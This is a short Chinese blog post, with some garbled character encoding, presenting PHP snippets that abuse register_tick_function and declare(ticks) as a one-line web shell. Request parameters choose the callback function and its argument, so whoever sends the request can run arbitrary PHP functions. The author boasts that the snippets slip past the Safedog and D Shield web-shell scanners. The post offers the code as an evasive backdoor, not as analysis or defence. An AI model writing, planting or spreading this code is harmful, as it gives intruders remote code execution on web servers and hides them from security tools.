摘要:昨天已經(jīng)解釋過declare與register_tick_function,那什么時候用到這些呢?今天就來稍微舉例說明一下。register_tick_function可以看做一個回調(diào)函數(shù),而這個函數(shù)...
昨天已經(jīng)解釋過declare與register_tick_function,那什么時候用到這些呢?今天就來稍微舉例說明一下。
register_tick_function可以看做一個回調(diào)函數(shù),而這個函數(shù)卻很少人用,我們有些地方可以利用這個函數(shù)來做一些秘密的事情~
不懂?怎么可以執(zhí)行自己想要的函數(shù)呢?
簡單舉例:
<?php $s = "ss.ss.$_GET[p]"; $c = explode(".",$s); register_tick_function($c[2]); declare(ticks = 2);
猜猜上面這段代碼能干啥。。。。
顯然這個回調(diào)函數(shù)是由我們來控制的。。。。
這下懂了吧。。。
當然register_tick_function還有第二個參數(shù),就是為該回調(diào)的函數(shù)傳參用的,比如:
<?php function doticks ($a = ''){ echo 'ticks<br>'; echo $a; } register_tick_function('doticks', $_GET['p']); declare(ticks = 2);
執(zhí)行結(jié)果:
注:最最主要的是這些代碼 “狗狗” 和 “D盾” 都未發(fā)覺。。。。
最后在獻上一點代碼,朋友們看看這段代碼能做什么呢?
<?php $s = "ss.ss.$_GET[p]"; $c = explode(".",$s); register_tick_function($c[2], $_REQUEST['m']); declare(ticks = 2);